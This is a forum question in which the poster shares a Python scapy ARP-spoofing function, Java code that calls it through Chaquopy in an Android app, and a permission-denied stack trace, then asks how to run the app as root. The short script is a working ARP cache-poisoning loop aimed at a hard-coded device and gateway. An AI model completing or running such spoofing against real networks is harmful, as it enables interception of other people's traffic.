title: Chaquo with scapy
body: <p>i'm trying to make arpspoofing with android studio and python.
  This is the python script:</p>
  <pre><code>from scapy.all import *
  from scapy.layers.l2 import ARP,Ether
  import os
  
  
  
  def spoofarpcache(targetip,targetmac,sourceip):
      os.environ[&quot;PATH&quot;] = &quot;:&quot;.join([p for p in os.environ[&quot;PATH&quot;].split(&quot;:&quot;)
                                     if os.access(p, os.R_OK | os.X_OK)])
      spoofed = ARP(op=2, pdst=targetip,psrc= sourceip,hwdst=targetmac)
      while True:
          send(spoofed, verbose=False)
  </code></pre>
  <p>This is the java:</p>
  <pre><code> TextView textView = null;
  @Override
  protected void onCreate(Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
      setContentView(R.layout.activity_main);
      textView = (TextView) findViewById(R.id.titles);
      if(!Python.isStarted())
          Python.start(new AndroidPlatform((this)));
  
      Python py = Python.getInstance();
  
      PyObject pyobj = py.getModule(&quot;script&quot;);
  
      PyObject obj = pyobj.callAttr(&quot;spoofarpcache&quot;, &quot;192.168.1.246&quot;,&quot;a4:83:e7:54:17:7c&quot;,&quot;192.168.1.1&quot;);
      Context context = getApplicationContext();
      WifiManager wm = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
      String ip = Formatter.formatIpAddress(wm.getConnectionInfo().getIpAddress());
  
      textView.setText(&quot;The resault its: &quot; + obj.toString() + &quot; &quot; + ip);
  }
  </code></pre>
  <p>and i'm getting permission denied error:</p>
  <pre><code>E/AndroidRuntime: FATAL EXCEPTION: main
  Process: com.ilay.myfinalproject, PID: 18110
  java.lang.RuntimeException: Unable to start activity ComponentInfo{com.ilay.myfinalproject/com.ilay.myfinalproject.MainActivity}: com.chaquo.python.PyException: PermissionError: [Errno 13] Permission denied
      at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:3270)
      at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:3409)
      at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:83)
      at android.app.servertransaction.TransactionExecutor.executeCallbacks(TransactionExecutor.java:135)
      at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:95)
      at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2016)
      at android.os.Handler.dispatchMessage(Handler.java:107)
      at android.os.Looper.loop(Looper.java:214)
      at android.app.ActivityThread.main(ActivityThread.java:7356)
      at java.lang.reflect.Method.invoke(Native Method)
      at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:492)
      at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:930)
   Caused by: com.chaquo.python.PyException: PermissionError: [Errno 13] Permission denied
      at &lt;python&gt;.socket.__init__(socket.py:231)
      at &lt;python&gt;.scapy.arch.linux.__init__(linux.py:486)
      at &lt;python&gt;.scapy.sendrecv._send(sendrecv.py:394)
      at &lt;python&gt;.scapy.sendrecv.send(sendrecv.py:425)
      at &lt;python&gt;.script.spoofarpcache(script.py:13)
      at &lt;python&gt;.chaquopy_java.call(chaquopy_java.pyx:380)
      at &lt;python&gt;.chaquopy_java.Java_com_chaquo_python_PyObject_callAttrThrowsNative(chaquopy_java.pyx:352)
      at com.chaquo.python.PyObject.callAttrThrowsNative(Native Method)
      at com.chaquo.python.PyObject.callAttrThrows(PyObject.java:232)
      at com.chaquo.python.PyObject.callAttr(PyObject.java:221)
      at com.ilay.myfinalproject.MainActivity.onCreate(MainActivity.java:30)
      at android.app.Activity.performCreate(Activity.java:7802)
      at android.app.Activity.performCreate(Activity.java:7791)
      at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1299)
      at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:3245)
  </code></pre>
  <p>i have tried to add permisions.
  after short review in the internet i found as a solution that i need to run the app as a root but i dont know how to do it and i dont know if it will work</p>
  <p>Please helppp</p>